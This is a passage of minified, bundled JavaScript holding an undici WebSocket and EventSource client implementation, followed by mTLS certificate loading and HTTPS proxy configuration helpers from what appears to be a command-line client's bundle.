if(!A[zw4])Y=1006;if(A[eRA]=tRA.CLOSED,_n3("close",A,(H,J)=>new jn3(H,J),{wasClean:q,code:Y,reason:z}),d0A.close.hasSubscribers)d0A.close.publish({websocket:A,code:Y,reason:z})}function Xw4(A){let{ws:K}=this;if(K[eRA]=tRA.CLOSING,d0A.socketError.hasSubscribers)d0A.socketError.publish(A);this.destroy()}$w4.exports={establishWebSocketConnection:vn3,closeWebSocketConnection:En3}});var Zw4=v((T8w,Gw4)=>{var{createInflateRaw:kn3,Z_DEFAULT_WINDOWBITS:Cn3}=CA("node:zlib"),{isValidClientWindowBits:Ln3}=aRA(),Rn3=Buffer.from([0,0,255,255]),Jq1=Symbol("kBuffer"),Oq1=Symbol("kLength");class _w4{#A;#K={};constructor(A){this.#K.serverNoContextTakeover=A.has("server_no_context_takeover"),this.#K.serverMaxWindowBits=A.get("server_max_window_bits")}decompress(A,K,q){if(!this.#A){let Y=Cn3;if(this.#K.serverMaxWindowBits){if(!Ln3(this.#K.serverMaxWindowBits)){q(Error("Invalid server_max_window_bits"));return}Y=Number.parseInt(this.#K.serverMaxWindowBits)}this.#A=kn3({windowBits:Y}),this.#A[Jq1]=[],this.#A[Oq1]=0,this.#A.on("data",(z)=>{this.#A[Jq1].push(z),this.#A[Oq1]+=z.length}),this.#A.on("error",(z)=>{this.#A=null,q(z)})}if(this.#A.write(A),K)this.#A.write(Rn3);this.#A.flush(()=>{let Y=Buffer.concat(this.#A[Jq1],this.#A[Oq1]);this.#A[Jq1].length=0,this.#A[Oq1]=0,q(null,Y)})}}Gw4.exports={PerMessageDeflate:_w4}});var kw4=v((v8w,Ew4)=>{var{Writable:yn3}=CA("node:stream"),In3=CA("node:assert"),{parserStates:uV,opcodes:c0A,states:Sn3,emptyBuffer:Ww4,sentCloseFrameState:Dw4}=r8A(),{kReadyState:hn3,kSentClose:jw4,kResponse:Mw4,kReceivedClose:Pw4}=nRA(),{channels:Xq1}=Y0A(),{isValidStatusCode:bn3,isValidOpcode:xn3,failWebsocketConnection:Ek,websocketMessageReceived:Vw4,utf8Decode:un3,isControlFrame:fw4,isTextBinaryFrame:f46,isContinuationFrame:Bn3}=aRA(),{WebsocketFrameSend:Nw4}=zq1(),{closeWebSocketConnection:Tw4}=V46(),{PerMessageDeflate:mn3}=Zw4();class vw4 extends yn3{#A=[];#K=0;#q=!1;#z=uV.INFO;#Y={};#J=[];#w;constructor(A,K){super();if(this.ws=A,this.#w=K==null?new Map:K,this.#w.has("permessage-deflate"))this.#w.set("permessage-deflate",new mn3(K))}_write(A,K,q){this.#A.push(A),this.#K+=A.length,this.#q=!0,this.run(q)}run(A){while(this.#q)if(this.#z===uV.INFO){if(this.#K<2)return A();let K=this.consume(2),q=(K[0]&128)!==0,Y=K[0]&15,z=(K[1]&128)===128,w=!q&&Y!==c0A.CONTINUATION,H=K[1]&127,J=K[0]&64,O=K[0]&32,X=K[0]&16;if(!xn3(Y))return Ek(this.ws,"Invalid opcode received"),A();if(z)return Ek(this.ws,"Frame cannot be masked"),A();if(J!==0&&!this.#w.has("permessage-deflate")){Ek(this.ws,"Expected RSV1 to be clear.");return}if(O!==0||X!==0){Ek(this.ws,"RSV1, RSV2, RSV3 must be clear");return}if(w&&!f46(Y)){Ek(this.ws,"Invalid frame type was fragmented.");return}if(f46(Y)&&this.#J.length>0){Ek(this.ws,"Expected continuation frame");return}if(this.#Y.fragmented&&w){Ek(this.ws,"Fragmented frame exceeded 125 bytes.");return}if((H>125||w)&&fw4(Y)){Ek(this.ws,"Control frame either too large or fragmented");return}if(Bn3(Y)&&this.#J.length===0&&!this.#Y.compressed){Ek(this.ws,"Unexpected continuation frame");return}if(H<=125)this.#Y.payloadLength=H,this.#z=uV.READ_DATA;else if(H===126)this.#z=uV.PAYLOADLENGTH_16;else if(H===127)this.#z=uV.PAYLOADLENGTH_64;if(f46(Y))this.#Y.binaryType=Y,this.#Y.compressed=J!==0;this.#Y.opcode=Y,this.#Y.masked=z,this.#Y.fin=q,this.#Y.fragmented=w}else if(this.#z===uV.PAYLOADLENGTH_16){if(this.#K<2)return A();let K=this.consume(2);this.#Y.payloadLength=K.readUInt16BE(0),this.#z=uV.READ_DATA}else if(this.#z===uV.PAYLOADLENGTH_64){if(this.#K<8)return A();let K=this.consume(8),q=K.readUInt32BE(0);if(q>2147483647){Ek(this.ws,"Received payload length > 2^31 bytes.");return}let Y=K.readUInt32BE(4);this.#Y.payloadLength=(q<<8)+Y,this.#z=uV.READ_DATA}else if(this.#z===uV.READ_DATA){if(this.#K<this.#Y.payloadLength)return A();let K=this.consume(this.#Y.payloadLength);if(fw4(this.#Y.opcode))this.#q=this.parseControlFrame(K),this.#z=uV.INFO;else if(!this.#Y.compressed){if(this.#J.push(K),!this.#Y.fragmented&&this.#Y.fin){let q=Buffer.concat(this.#J);Vw4(this.ws,this.#Y.binaryType,q),this.#J.length=0}this.#z=uV.INFO}else{this.#w.get("permessage-deflate").decompress(K,this.#Y.fin,(q,Y)=>{if(q){Tw4(this.ws,1007,q.message,q.message.length);return}if(this.#J.push(Y),!this.#Y.fin){this.#z=uV.INFO,this.#q=!0,this.run(A);return}Vw4(this.ws,this.#Y.binaryType,Buffer.concat(this.#J)),this.#q=!0,this.#z=uV.INFO,this.#J.length=0,this.run(A)}),this.#q=!1;break}}}consume(A){if(A>this.#K)throw Error("Called consume() before buffers satiated.");else if(A===0)return Ww4;if(this.#A[0].length===A)return this.#K-=this.#A[0].length,this.#A.shift();let K=Buffer.allocUnsafe(A),q=0;while(q!==A){let Y=this.#A[0],{length:z}=Y;if(z+q===A){K.set(this.#A.shift(),q);break}else if(z+q>A){K.set(Y.subarray(0,A-q),q),this.#A[0]=Y.subarray(A-q);break}else K.set(this.#A.shift(),q),q+=Y.length}return this.#K-=A,K}parseCloseBody(A){In3(A.length!==1);let K;if(A.length>=2)K=A.readUInt16BE(0);if(K!==void 0&&!bn3(K))return{code:1002,reason:"Invalid status code",error:!0};let q=A.subarray(2);if(q[0]===239&&q[1]===187&&q[2]===191)q=q.subarray(3);try{q=un3(q)}catch{return{code:1007,reason:"Invalid UTF-8",error:!0}}return{code:K,reason:q,error:!1}}parseControlFrame(A){let{opcode:K,payloadLength:q}=this.#Y;if(K===c0A.CLOSE){if(q===1)return Ek(this.ws,"Received close frame with a 1-byte body."),!1;if(this.#Y.closeInfo=this.parseCloseBody(A),this.#Y.closeInfo.error){let{code:Y,reason:z}=this.#Y.closeInfo;return Tw4(this.ws,Y,z,z.length),Ek(this.ws,z),!1}if(this.ws[jw4]!==Dw4.SENT){let Y=Ww4;if(this.#Y.closeInfo.code)Y=Buffer.allocUnsafe(2),Y.writeUInt16BE(this.#Y.closeInfo.code,0);let z=new Nw4(Y);this.ws[Mw4].socket.write(z.createFrame(c0A.CLOSE),(w)=>{if(!w)this.ws[jw4]=Dw4.SENT})}return this.ws[hn3]=Sn3.CLOSING,this.ws[Pw4]=!0,!1}else if(K===c0A.PING){if(!this.ws[Pw4]){let Y=new Nw4(A);if(this.ws[Mw4].socket.write(Y.createFrame(c0A.PONG)),Xq1.ping.hasSubscribers)Xq1.ping.publish({payload:A})}}else if(K===c0A.PONG){if(Xq1.pong.hasSubscribers)Xq1.pong.publish({payload:A})}return!0}get closingInfo(){return this.#Y.closeInfo}}Ew4.exports={ByteParser:vw4}});var Sw4=v((E8w,Iw4)=>{var{WebsocketFrameSend:gn3}=zq1(),{opcodes:Cw4,sendHints:l0A}=r8A(),Fn3=z86(),Lw4=Buffer[Symbol.species];class yw4{#A=new Fn3;#K=!1;#q;constructor(A){this.#q=A}add(A,K,q){if(q!==l0A.blob){let z=Rw4(A,q);if(!this.#K)this.#q.write(z,K);else{let w={promise:null,callback:K,frame:z};this.#A.push(w)}return}let Y={promise:A.arrayBuffer().then((z)=>{Y.promise=null,Y.frame=Rw4(z,q)}),callback:K,frame:null};if(this.#A.push(Y),!this.#K)this.#z()}async#z(){this.#K=!0;let A=this.#A;while(!A.isEmpty()){let K=A.shift();if(K.promise!==null)await K.promise;this.#q.write(K.frame,K.callback),K.callback=K.frame=null}this.#K=!1}}function Rw4(A,K){return new gn3(Qn3(A,K)).createFrame(K===l0A.string?Cw4.TEXT:Cw4.BINARY)}function Qn3(A,K){switch(K){case l0A.string:return Buffer.from(A);case l0A.arrayBuffer:case l0A.blob:return new Lw4(A);case l0A.typedArray:return new Lw4(A.buffer,A.byteOffset,A.byteLength)}}Iw4.exports={SendQueue:yw4}});var Qw4=v((k8w,Fw4)=>{var{webidl:A5}=SZ(),{URLSerializer:Un3}=IV(),{environmentSettingsObject:hw4}=ZT(),{staticPropertyDescriptors:pn,states:AyA,sentCloseFrameState:pn3,sendHints:$q1}=r8A(),{kWebSocketURL:bw4,kReadyState:N46,kController:dn3,kBinaryType:_q1,kResponse:xw4,kSentClose:cn3,kByteParser:ln3}=nRA(),{isConnecting:in3,isEstablished:nn3,isClosing:rn3,isValidSubprotocol:on3,fireEvent:uw4}=aRA(),{establishWebSocketConnection:an3,closeWebSocketConnection:Bw4}=V46(),{ByteParser:sn3}=kw4(),{kEnumerableProperty:kk,isBlobLike:mw4}=j9(),{getGlobalDispatcher:tn3}=SK1(),{types:gw4}=CA("node:util"),{ErrorEvent:en3,CloseEvent:Ar3}=U0A(),{SendQueue:Kr3}=Sw4();class B2 extends EventTarget{#A={open:null,error:null,close:null,message:null};#K=0;#q="";#z="";#Y;constructor(A,K=[]){super();A5.util.markAsUncloneable(this);let q="WebSocket constructor";A5.argumentLengthCheck(arguments,1,q);let Y=A5.converters["DOMString or sequence<DOMString> or WebSocketInit"](K,q,"options");A=A5.converters.USVString(A,q,"url"),K=Y.protocols;let z=hw4.settingsObject.baseUrl,w;try{w=new URL(A,z)}catch(J){throw new DOMException(J,"SyntaxError")}if(w.protocol==="http:")w.protocol="ws:";else if(w.protocol==="https:")w.protocol="wss:";if(w.protocol!=="ws:"&&w.protocol!=="wss:")throw new DOMException(`Expected a ws: or wss: protocol, got ${w.protocol}`,"SyntaxError");if(w.hash||w.href.endsWith("#"))throw new DOMException("Got fragment","SyntaxError");if(typeof K==="string")K=[K];if(K.length!==new Set(K.map((J)=>J.toLowerCase())).size)throw new DOMException("Invalid Sec-WebSocket-Protocol value","SyntaxError");if(K.length>0&&!K.every((J)=>on3(J)))throw new DOMException("Invalid Sec-WebSocket-Protocol value","SyntaxError");this[bw4]=new URL(w.href);let H=hw4.settingsObject;this[dn3]=an3(w,K,H,this,(J,O)=>this.#J(J,O),Y),this[N46]=B2.CONNECTING,this[cn3]=pn3.NOT_SENT,this[_q1]="blob"}close(A=void 0,K=void 0){A5.brandCheck(this,B2);let q="WebSocket.close";if(A!==void 0)A=A5.converters["unsigned short"](A,q,"code",{clamp:!0});if(K!==void 0)K=A5.converters.USVString(K,q,"reason");if(A!==void 0){if(A!==1000&&(A<3000||A>4999))throw new DOMException("invalid code","InvalidAccessError")}let Y=0;if(K!==void 0){if(Y=Buffer.byteLength(K),Y>123)throw new DOMException(`Reason must be less than 123 bytes; received ${Y}`,"SyntaxError")}Bw4(this,A,K,Y)}send(A){A5.brandCheck(this,B2);let K="WebSocket.send";if(A5.argumentLengthCheck(arguments,1,K),A=A5.converters.WebSocketSendData(A,K,"data"),in3(this))throw new DOMException("Sent before connected.","InvalidStateError");if(!nn3(this)||rn3(this))return;if(typeof A==="string"){let q=Buffer.byteLength(A);this.#K+=q,this.#Y.add(A,()=>{this.#K-=q},$q1.string)}else if(gw4.isArrayBuffer(A))this.#K+=A.byteLength,this.#Y.add(A,()=>{this.#K-=A.byteLength},$q1.arrayBuffer);else if(ArrayBuffer.isView(A))this.#K+=A.byteLength,this.#Y.add(A,()=>{this.#K-=A.byteLength},$q1.typedArray);else if(mw4(A))this.#K+=A.size,this.#Y.add(A,()=>{this.#K-=A.size},$q1.blob)}get readyState(){return A5.brandCheck(this,B2),this[N46]}get bufferedAmount(){return A5.brandCheck(this,B2),this.#K}get url(){return A5.brandCheck(this,B2),Un3(this[bw4])}get extensions(){return A5.brandCheck(this,B2),this.#z}get protocol(){return A5.brandCheck(this,B2),this.#q}get onopen(){return A5.brandCheck(this,B2),this.#A.open}set onopen(A){if(A5.brandCheck(this,B2),this.#A.open)this.removeEventListener("open",this.#A.open);if(typeof A==="function")this.#A.open=A,this.addEventListener("open",A);else this.#A.open=null}get onerror(){return A5.brandCheck(this,B2),this.#A.error}set onerror(A){if(A5.brandCheck(this,B2),this.#A.error)this.removeEventListener("error",this.#A.error);if(typeof A==="function")this.#A.error=A,this.addEventListener("error",A);else this.#A.error=null}get onclose(){return A5.brandCheck(this,B2),this.#A.close}set onclose(A){if(A5.brandCheck(this,B2),this.#A.close)this.removeEventListener("close",this.#A.close);if(typeof A==="function")this.#A.close=A,this.addEventListener("close",A);else this.#A.close=null}get onmessage(){return A5.brandCheck(this,B2),this.#A.message}set onmessage(A){if(A5.brandCheck(this,B2),this.#A.message)this.removeEventListener("message",this.#A.message);if(typeof A==="function")this.#A.message=A,this.addEventListener("message",A);else this.#A.message=null}get binaryType(){return A5.brandCheck(this,B2),this[_q1]}set binaryType(A){if(A5.brandCheck(this,B2),A!=="blob"&&A!=="arraybuffer")this[_q1]="blob";else this[_q1]=A}#J(A,K){this[xw4]=A;let q=new sn3(this,K);q.on("drain",qr3),q.on("error",Yr3.bind(this)),A.socket.ws=this,this[ln3]=q,this.#Y=new Kr3(A.socket),this[N46]=AyA.OPEN;let Y=A.headersList.get("sec-websocket-extensions");if(Y!==null)this.#z=Y;let z=A.headersList.get("sec-websocket-protocol");if(z!==null)this.#q=z;uw4("open",this)}}B2.CONNECTING=B2.prototype.CONNECTING=AyA.CONNECTING;B2.OPEN=B2.prototype.OPEN=AyA.OPEN;B2.CLOSING=B2.prototype.CLOSING=AyA.CLOSING;B2.CLOSED=B2.prototype.CLOSED=AyA.CLOSED;Object.defineProperties(B2.prototype,{CONNECTING:pn,OPEN:pn,CLOSING:pn,CLOSED:pn,url:kk,readyState:kk,bufferedAmount:kk,onopen:kk,onerror:kk,onclose:kk,close:kk,onmessage:kk,binaryType:kk,send:kk,extensions:kk,protocol:kk,[Symbol.toStringTag]:{value:"WebSocket",writable:!1,enumerable:!1,configurable:!0}});Object.defineProperties(B2,{CONNECTING:pn,OPEN:pn,CLOSING:pn,CLOSED:pn});A5.converters["sequence<DOMString>"]=A5.sequenceConverter(A5.converters.DOMString);A5.converters["DOMString or sequence<DOMString>"]=function(A,K,q){if(A5.util.Type(A)==="Object"&&Symbol.iterator in A)return A5.converters["sequence<DOMString>"](A);return A5.converters.DOMString(A,K,q)};A5.converters.WebSocketInit=A5.dictionaryConverter([{key:"protocols",converter:A5.converters["DOMString or sequence<DOMString>"],defaultValue:()=>[]},{key:"dispatcher",converter:A5.converters.any,defaultValue:()=>tn3()},{key:"headers",converter:A5.nullableConverter(A5.converters.HeadersInit)}]);A5.converters["DOMString or sequence<DOMString> or WebSocketInit"]=function(A){if(A5.util.Type(A)==="Object"&&!(Symbol.iterator in A))return A5.converters.WebSocketInit(A);return{protocols:A5.converters["DOMString or sequence<DOMString>"](A)}};A5.converters.WebSocketSendData=function(A){if(A5.util.Type(A)==="Object"){if(mw4(A))return A5.converters.Blob(A,{strict:!1});if(ArrayBuffer.isView(A)||gw4.isArrayBuffer(A))return A5.converters.BufferSource(A)}return A5.converters.USVString(A)};function qr3(){this.ws[xw4].socket.resume()}function Yr3(A){let K,q;if(A instanceof Ar3)K=A.reason,q=A.code;else K=A.message;uw4("error",this,()=>new en3("error",{error:A,message:K})),Bw4(this,q)}Fw4.exports={WebSocket:B2}});var T46=v((C8w,Uw4)=>{function zr3(A){return A.indexOf("\x00")===-1}function wr3(A){if(A.length===0)return!1;for(let K=0;K<A.length;K++)if(A.charCodeAt(K)<48||A.charCodeAt(K)>57)return!1;return!0}function Hr3(A){return new Promise((K)=>{setTimeout(K,A).unref()})}Uw4.exports={isValidLastEventId:zr3,isASCIINumber:wr3,delay:Hr3}});var iw4=v((L8w,lw4)=>{var{Transform:Jr3}=CA("node:stream"),{isASCIINumber:pw4,isValidLastEventId:dw4}=T46(),fQ=[239,187,191];class cw4 extends Jr3{state=null;checkBOM=!0;crlfCheck=!1;eventEndCheck=!1;buffer=null;pos=0;event={data:void 0,event:void 0,id:void 0,retry:void 0};constructor(A={}){A.readableObjectMode=!0;super(A);if(this.state=A.eventSourceSettings||{},A.push)this.push=A.push}_transform(A,K,q){if(A.length===0){q();return}if(this.buffer)this.buffer=Buffer.concat([this.buffer,A]);else this.buffer=A;if(this.checkBOM)switch(this.buffer.length){case 1:if(this.buffer[0]===fQ[0]){q();return}this.checkBOM=!1,q();return;case 2:if(this.buffer[0]===fQ[0]&&this.buffer[1]===fQ[1]){q();return}this.checkBOM=!1;break;case 3:if(this.buffer[0]===fQ[0]&&this.buffer[1]===fQ[1]&&this.buffer[2]===fQ[2]){this.buffer=Buffer.alloc(0),this.checkBOM=!1,q();return}this.checkBOM=!1;break;default:if(this.buffer[0]===fQ[0]&&this.buffer[1]===fQ[1]&&this.buffer[2]===fQ[2])this.buffer=this.buffer.subarray(3);this.checkBOM=!1;break}while(this.pos<this.buffer.length){if(this.eventEndCheck){if(this.crlfCheck){if(this.buffer[this.pos]===10){this.buffer=this.buffer.subarray(this.pos+1),this.pos=0,this.crlfCheck=!1;continue}this.crlfCheck=!1}if(this.buffer[this.pos]===10||this.buffer[this.pos]===13){if(this.buffer[this.pos]===13)this.crlfCheck=!0;if(this.buffer=this.buffer.subarray(this.pos+1),this.pos=0,this.event.data!==void 0||this.event.event||this.event.id||this.event.retry)this.processEvent(this.event);this.clearEvent();continue}this.eventEndCheck=!1;continue}if(this.buffer[this.pos]===10||this.buffer[this.pos]===13){if(this.buffer[this.pos]===13)this.crlfCheck=!0;this.parseLine(this.buffer.subarray(0,this.pos),this.event),this.buffer=this.buffer.subarray(this.pos+1),this.pos=0,this.eventEndCheck=!0;continue}this.pos++}q()}parseLine(A,K){if(A.length===0)return;let q=A.indexOf(58);if(q===0)return;let Y="",z="";if(q!==-1){Y=A.subarray(0,q).toString("utf8");let w=q+1;if(A[w]===32)++w;z=A.subarray(w).toString("utf8")}else Y=A.toString("utf8"),z="";switch(Y){case"data":if(K[Y]===void 0)K[Y]=z;else K[Y]+=` ${z}`;break;case"retry":if(pw4(z))K[Y]=z;break;case"id":if(dw4(z))K[Y]=z;break;case"event":if(z.length>0)K[Y]=z;break}}processEvent(A){if(A.retry&&pw4(A.retry))this.state.reconnectionTime=parseInt(A.retry,10);if(A.id&&dw4(A.id))this.state.lastEventId=A.id;if(A.data!==void 0)this.push({type:A.event||"message",options:{data:A.data,lastEventId:this.state.lastEventId,origin:this.state.origin}})}clearEvent(){this.event={data:void 0,event:void 0,id:void 0,retry:void 0}}}lw4.exports={EventSourceStream:cw4}});var AH4=v((R8w,ew4)=>{var{pipeline:Or3}=CA("node:stream"),{fetching:Xr3}=pRA(),{makeRequest:$r3}=u0A(),{webidl:NQ}=SZ(),{EventSourceStream:_r3}=iw4(),{parseMIMEType:Gr3}=IV(),{createFastMessageEvent:Zr3}=U0A(),{isNetworkError:nw4}=QRA(),{delay:Wr3}=T46(),{kEnumerableProperty:o8A}=j9(),{environmentSettingsObject:rw4}=ZT(),ow4=!1,aw4=3000,KyA=0,sw4=1,qyA=2,Dr3="anonymous",jr3="use-credentials";class i0A extends EventTarget{#A={open:null,error:null,message:null};#K=null;#q=!1;#z=KyA;#Y=null;#J=null;#w;#X;constructor(A,K={}){super();NQ.util.markAsUncloneable(this);let q="EventSource constructor";if(NQ.argumentLengthCheck(arguments,1,q),!ow4)ow4=!0,process.emitWarning("EventSource is experimental, expect them to change at any time.",{code:"UNDICI-ES"});A=NQ.converters.USVString(A,q,"url"),K=NQ.converters.EventSourceInitDict(K,q,"eventSourceInitDict"),this.#w=K.dispatcher,this.#X={lastEventId:"",reconnectionTime:aw4};let Y=rw4,z;try{z=new URL(A,Y.settingsObject.baseUrl),this.#X.origin=z.origin}catch(J){throw new DOMException(J,"SyntaxError")}this.#K=z.href;let w=Dr3;if(K.withCredentials)w=jr3,this.#q=!0;let H={redirect:"follow",keepalive:!0,mode:"cors",credentials:w==="anonymous"?"same-origin":"omit",referrer:"no-referrer"};H.client=rw4.settingsObject,H.headersList=[["accept",{name:"accept",value:"text/event-stream"}]],H.cache="no-store",H.initiator="other",H.urlList=[new URL(this.#K)],this.#Y=$r3(H),this.#$()}get readyState(){return this.#z}get url(){return this.#K}get withCredentials(){return this.#q}#$(){if(this.#z===qyA)return;this.#z=KyA;let A={request:this.#Y,dispatcher:this.#w},K=(q)=>{if(nw4(q))this.dispatchEvent(new Event("error")),this.close();this.#O()};A.processResponseEndOfBody=K,A.processResponse=(q)=>{if(nw4(q))if(q.aborted){this.close(),this.dispatchEvent(new Event("error"));return}else{this.#O();return}let Y=q.headersList.get("content-type",!0),z=Y!==null?Gr3(Y):"failure",w=z!=="failure"&&z.essence==="text/event-stream";if(q.status!==200||w===!1){this.close(),this.dispatchEvent(new Event("error"));return}this.#z=sw4,this.dispatchEvent(new Event("open")),this.#X.origin=q.urlList[q.urlList.length-1].origin;let H=new _r3({eventSourceSettings:this.#X,push:(J)=>{this.dispatchEvent(Zr3(J.type,J.options))}});Or3(q.body.stream,H,(J)=>{if(J?.aborted===!1)this.close(),this.dispatchEvent(new Event("error"))})},this.#J=Xr3(A)}async#O(){if(this.#z===qyA)return;if(this.#z=KyA,this.dispatchEvent(new Event("error")),await Wr3(this.#X.reconnectionTime),this.#z!==KyA)return;if(this.#X.lastEventId.length)this.#Y.headersList.set("last-event-id",this.#X.lastEventId,!0);this.#$()}close(){if(NQ.brandCheck(this,i0A),this.#z===qyA)return;this.#z=qyA,this.#J.abort(),this.#Y=null}get onopen(){return this.#A.open}set onopen(A){if(this.#A.open)this.removeEventListener("open",this.#A.open);if(typeof A==="function")this.#A.open=A,this.addEventListener("open",A);else this.#A.open=null}get onmessage(){return this.#A.message}set onmessage(A){if(this.#A.message)this.removeEventListener("message",this.#A.message);if(typeof A==="function")this.#A.message=A,this.addEventListener("message",A);else this.#A.message=null}get onerror(){return this.#A.error}set onerror(A){if(this.#A.error)this.removeEventListener("error",this.#A.error);if(typeof A==="function")this.#A.error=A,this.addEventListener("error",A);else this.#A.error=null}}var tw4={CONNECTING:{__proto__:null,configurable:!1,enumerable:!0,value:KyA,writable:!1},OPEN:{__proto__:null,configurable:!1,enumerable:!0,value:sw4,writable:!1},CLOSED:{__proto__:null,configurable:!1,enumerable:!0,value:qyA,writable:!1}};Object.defineProperties(i0A,tw4);Object.defineProperties(i0A.prototype,tw4);Object.defineProperties(i0A.prototype,{close:o8A,onerror:o8A,onmessage:o8A,onopen:o8A,readyState:o8A,url:o8A,withCredentials:o8A});NQ.converters.EventSourceInitDict=NQ.dictionaryConverter([{key:"withCredentials",converter:NQ.converters.boolean,defaultValue:()=>!1},{key:"dispatcher",converter:NQ.converters.any}]);ew4.exports={EventSource:i0A,defaultReconnectionTime:aw4}});function YyA(A){return(K,q,Y)=>{if(typeof q==="function")Y=q,q=null;if(!K||typeof K!=="string"&&typeof K!=="object"&&!(K instanceof URL))throw new Gq1("invalid url");if(q!=null&&typeof q!=="object")throw new Gq1("invalid opts");if(q&&q.path!=null){if(typeof q.path!=="string")throw new Gq1("invalid opts.path");let H=q.path;if(!q.path.startsWith("/"))H=`/${H}`;K=new URL(Zq1.parseOrigin(K).origin+H)}else{if(!q)q=typeof K==="object"?K:{};K=Zq1.parseURL(K)}let{agent:z,dispatcher:w=Nr3()}=q;if(z)throw new Gq1("unsupported opts.agent. Did you mean opts.client?");return A.call(w,{...q,origin:K.origin,path:K.search?`${K.pathname}${K.search}`:K.pathname,method:q.method||(q.body?"PUT":"GET")},Y)}}var y8w,Mr3,I8w,S8w,Pr3,h8w,Vr3,b8w,fr3,Zq1,Gq1,n0A,x8w,u8w,B8w,m8w,g8w,F8w,Nr3,Tr3,Q8w,U8w,p8w,v46,E46,kr3,Cr3,Wq1,d8w,Lr3,Rr3,yr3,Ir3,Sr3,hr3,c8w,l8w,vr3,Er3,br3,i8w,n8w,r8w,o8w,a8w,s8w,t8w,e8w,A4w,xr3,ur3,Br3,mr3,gr3,Fr3,K4w;var k46=k(()=>{y8w=ERA(),Mr3=YRA(),I8w=v0A(),S8w=m34(),Pr3=E0A(),h8w=j86(),Vr3=Y94(),b8w=$94(),fr3=_2(),Zq1=j9(),{InvalidArgumentError:Gq1}=fr3,n0A=YY4(),x8w=wRA(),u8w=U86(),B8w=pY4(),m8w=d86(),g8w=I86(),F8w=TK1(),{getGlobalDispatcher:Nr3,setGlobalDispatcher:Tr3}=SK1(),Q8w=hK1(),U8w=GK1(),p8w=ZK1();Object.assign(Mr3.prototype,n0A);v46=Pr3,E46=Vr3,kr3={redirect:oY4(),retry:sY4(),dump:A24(),dns:w24()},Cr3={parseHeaders:Zq1.parseHeaders,headerNameToString:Zq1.headerNameToString};Wq1=Tr3;d8w=pRA().fetch;Lr3=d8A().Headers,Rr3=QRA().Response,yr3=u0A().Request,Ir3=_RA().FormData,Sr3=globalThis.File??CA("node:buffer").File,hr3=Nz4().FileReader;({setGlobalOrigin:c8w,getGlobalOrigin:l8w}=L66()),{CacheStorage:vr3}=Iz4(),{kConstruct:Er3}=tK1();br3=new vr3(Er3);({deleteCookie:i8w,getCookies:n8w,getSetCookies:r8w,setCookie:o8w}=pz4()),{parseMIMEType:a8w,serializeAMimeType:s8w}=IV(),{CloseEvent:t8w,ErrorEvent:e8w,MessageEvent:A4w}=U0A();xr3=Qw4().WebSocket,ur3=YyA(n0A.request),Br3=YyA(n0A.stream),mr3=YyA(n0A.pipeline),gr3=YyA(n0A.connect),Fr3=YyA(n0A.upgrade);({EventSource:K4w}=AH4())});import{Agent as Qr3}from"https";function C46(){let A=Ny();if(!A)return;return{cert:A.cert,key:A.key,passphrase:A.passphrase}}function L46(){let A=Ny();if(!A)return{};if(typeof Bun<"u")return{tls:A};return h("mTLS: Created undici agent with custom certificates"),{dispatcher:new v46({connect:{cert:A.cert,key:A.key,passphrase:A.passphrase},pipelining:1})}}function YH4(){if(!Ny())return;if(process.env.NODE_EXTRA_CA_CERTS)h("NODE_EXTRA_CA_CERTS detected - Node.js will automatically append to built-in CAs")}var Ny,qH4;var r0A=k(()=>{p7();k46();Z1();e6();Ny=z6(()=>{let A={};if(process.env.CLAUDE_CODE_CLIENT_CERT)try{A.cert=BA().readFileSync(process.env.CLAUDE_CODE_CLIENT_CERT,{encoding:"utf8"}),h("mTLS: Loaded client certificate from CLAUDE_CODE_CLIENT_CERT")}catch(K){h(`mTLS: Failed to load client certificate: ${K}`,{level:"error"})}if(process.env.CLAUDE_CODE_CLIENT_KEY)try{A.key=BA().readFileSync(process.env.CLAUDE_CODE_CLIENT_KEY,{encoding:"utf8"}),h("mTLS: Loaded client key from CLAUDE_CODE_CLIENT_KEY")}catch(K){h(`mTLS: Failed to load client key: ${K}`,{level:"error"})}if(process.env.CLAUDE_CODE_CLIENT_KEY_PASSPHRASE)A.passphrase=process.env.CLAUDE_CODE_CLIENT_KEY_PASSPHRASE,h("mTLS: Using client key passphrase");if(Object.keys(A).length===0)return;return A}),qH4=z6(()=>{let A=Ny();if(!A)return;let K={...A,keepAlive:!0};return h("mTLS: Creating HTTPS agent with custom certificates"),new Qr3(K)})});function Ur3(A){switch(A.family){case 0:case 4:case 6:return A.family;case"IPv6":return 6;case"IPv4":case void 0:return 4;default:throw Error(`Unsupported address family: ${A.family}`)}}function dn(A=process.env){return A.https_proxy||A.HTTPS_PROXY||A.http_proxy||A.HTTP_PROXY}function pr3(A=process.env){return A.no_proxy||A.NO_PROXY}function Dq1(A,K=pr3()){if(!K)return!1;if(K==="*")return!0;try{let q=new URL(A),Y=q.hostname.toLowerCase(),z=q.port||(q.protocol==="https:"?"443":"80"),w=`${Y}:${z}`;return K.split(/[,\s]+/).filter(Boolean).some((J)=>{if(J=J.toLowerCase().trim(),J.includes(":"))return w===J;if(J.startsWith(".")){let O=J;return Y===J.substring(1)||Y.endsWith(O)}return Y===J})}catch{return!1}}function HH4(A){let K=Ny(),q={...K&&{cert:K.cert,key:K.key,passphrase:K.passphrase}};if(P1(process.env.CLAUDE_CODE_PROXY_RESOLVES_HOSTS))q.lookup=(Y,z,w)=>{w(null,Y,Ur3(z))};return new R46.HttpsProxyAgent(A,q)}function a8A(A){let K=dn();if(!K)return;if(Dq1(A))return;return HH4(K)}function s8A(){let A=dn(),K=L46();if(A){if(typeof Bun<"u")return{proxy:A,...K};return{dispatcher:JH4(A)}}return K}function OH4(){let A=dn(),K=qH4();if(A){A8.defaults.proxy=!1;let q=HH4(A);A8.interceptors.request.use((Y)=>{if(Y.url&&Dq1(Y.url))if(K)Y.httpsAgent=K,Y.httpAgent=K;else delete Y.httpsAgent,delete Y.httpAgent;else Y.httpsAgent=q,Y.httpAgent=q;return Y}),Wq1(JH4(A))}else if(K){A8.defaults.httpsAgent=K;let q=L46();if(q.dispatcher)Wq1(q.dispatcher)}}function y46(){let A=dn();if(!A)return{};let K=new R46.HttpsProxyAgent(A),q=new wH4.NodeHttpHandler({httpAgent:K,httpsAgent:K});return{requestHandler:q,credentials:zH4.defaultProvider({clientConfig:{requestHandler:q}})}}var zH4,wH4,R46,JH4;var TQ=k(()=>{n3();p7();k46();r0A();l6();zH4=o(W8A(),1),wH4=o(zT(),1),R46=o(KRA(),1);JH4=z6((A)=>{let K=Ny(),q={httpProxy:A,httpsProxy:A,noProxy:process.env.NO_PROXY||process.env.no_proxy};if(K)q.connect={cert:K.cert,key:K.key,passphrase:K.passphrase};return new E46(q)})});function Tx(A,K){return 